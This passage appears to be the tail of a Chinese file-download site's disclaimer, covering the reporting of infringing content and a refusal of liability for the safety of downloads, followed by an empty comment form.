  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论